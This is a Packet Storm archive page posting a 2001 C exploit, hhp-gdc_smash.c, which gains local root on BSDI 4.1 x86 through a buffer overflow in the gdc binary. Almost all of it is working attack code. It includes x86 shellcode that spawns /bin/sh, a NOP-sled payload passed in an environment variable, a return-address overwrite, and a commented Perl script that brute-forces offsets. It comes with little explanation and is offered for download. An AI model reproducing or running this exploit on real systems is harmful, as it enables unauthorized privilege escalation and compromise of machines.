what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

hhp-gdc_smash.c

hhp-gdc_smash.c
Posted Mar 6, 2001
Authored by Loophole, hhp | Site hhp-programming.net

Hhp-gdc_smash.c is a local root exploit for gdc. Requires group wheel access. Tested on BSDI 4.1 x86 default install.

tags | exploit, x86, local, root
SHA-256 | 59ac3f8c25947407d2c2124b1b923963380381d66406ef270bdd57b3c00baae5

hhp-gdc_smash.c

Change Mirror Download
/*********************************************************************
* (gdc) Local root[uid=0] exploit tested on BSDi 4.1 - x86. *
* "Requires access to group=(wheel)" *
* Author: Cody Tubbs (loophole of hhp). *
* Site: http://www.hhp-programming.net/ *
* Email: pigspigs@yahoo.com *
* Date: 2/23/2001 12:52:10 PST *
* Bug found by: skeptik. (One of my roomates). *
*********************************************************************/

/* ------------- hhp-offset_bruteforce.pl ---------------
#!/usr/bin/perl
#Standard offset/align brute.
if(@ARGV < 3){
print "Usage: $0 <start> <stop> <align>\n";
print "Examp: $0 -10000 0 0\n";
print "Notes: align = 0 through 3\n";
exit(0);
}

($start, $stop, $align) = @ARGV;
for(;$start<=$stop;$start+=4){
system "./x $start $align";
}
**********************************************/

#include <stdio.h>

#define PATH "/usr/contrib/bin/gdc" // Change if needed.
#define OFFSET -4000 // Worked for me, brute if fails.
#define ALLIGN 0 // Shouldn't need to be change.
#define NOP 0x90 // x86.
#define DBUF 1024 //987+4(EIP).

static char shellcode[] = // BSDi (Replace with setuid, etc code).
"\xeb\x37\x5e\x31\xc0\x88\x46\xfa\x89\x46\xf5\x89\x36\x89\x76"
"\x04\x89\x76\x08\x83\x06\x10\x83\x46\x04\x18\x83\x46\x08\x1b"
"\x89\x46\x0c\x88\x46\x17\x88\x46\x1a\x88\x46\x1d\x50\x56\xff"
"\x36\xb0\x3b\x50\x90\x9a\x01\x01\x01\x01\x07\x07\xe8\xc4\xff"
"\xff\xff\x02\x02\x02\x02\x02\x02\x02\x02\x02\x02\x02\x02\x02"
"\x02\x02\x02/bin/sh.-c.sh\x69";

long get_sp(void){
__asm__("movl %esp,%eax");
}

void workit(char *heh){
fprintf(stderr, "(gdc) local root[uid=0] exploit (tested on BSDi 4.1 - x86).\n");
fprintf(stderr, "Author: Cody Tubbs (loophole of hhp).\n");
fprintf(stderr, "Bug by: skeptik <skeptik@hushmail.com>.\n");
fprintf(stderr, "Usage: %s [offset] [allign(0..3)]\n", heh);
}

int main(int argc, char **argv){
char eipeip[DBUF], buffer[4096], heh[DBUF+1];
int i, offset, gid, allign;
long address;

workit(argv[0]);

if(argc>1){offset=atoi(argv[1]);}else{offset=OFFSET;}
if(argc>2){allign=atoi(argv[2]);}else{allign=ALLIGN;}

address=get_sp()-offset;

if(allign>0){
for(i=0;i<allign;i++){
eipeip[i]=0x69; //0x69(tm) HEH.
}
}

for(i=allign;i<DBUF;i+=4){
*(long *)&eipeip[i]=address;
}

for(i=0;i<(4096-strlen(shellcode)-strlen(eipeip));i++){
buffer[i]=NOP;
}

memcpy(buffer+i,shellcode,strlen(shellcode));
memcpy(buffer,"GDCEX=",6);
putenv(buffer);
fprintf(stderr, "Ret-addr %#x, offset: %d, allign: %d.\n",address,offset,allign);
execlp(PATH, "gdc", "-t", eipeip, 0);
}

Login or Register to add favorites

File Archive:

November 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Nov 1st
    30 Files
  • 2
    Nov 2nd
    0 Files
  • 3
    Nov 3rd
    0 Files
  • 4
    Nov 4th
    12 Files
  • 5
    Nov 5th
    44 Files
  • 6
    Nov 6th
    18 Files
  • 7
    Nov 7th
    9 Files
  • 8
    Nov 8th
    8 Files
  • 9
    Nov 9th
    3 Files
  • 10
    Nov 10th
    0 Files
  • 11
    Nov 11th
    14 Files
  • 12
    Nov 12th
    20 Files
  • 13
    Nov 13th
    63 Files
  • 14
    Nov 14th
    18 Files
  • 15
    Nov 15th
    8 Files
  • 16
    Nov 16th
    0 Files
  • 17
    Nov 17th
    0 Files
  • 18
    Nov 18th
    18 Files
  • 19
    Nov 19th
    7 Files
  • 20
    Nov 20th
    13 Files
  • 21
    Nov 21st
    6 Files
  • 22
    Nov 22nd
    48 Files
  • 23
    Nov 23rd
    0 Files
  • 24
    Nov 24th
    0 Files
  • 25
    Nov 25th
    60 Files
  • 26
    Nov 26th
    0 Files
  • 27
    Nov 27th
    44 Files
  • 28
    Nov 28th
    0 Files
  • 29
    Nov 29th
    0 Files
  • 30
    Nov 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2024 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close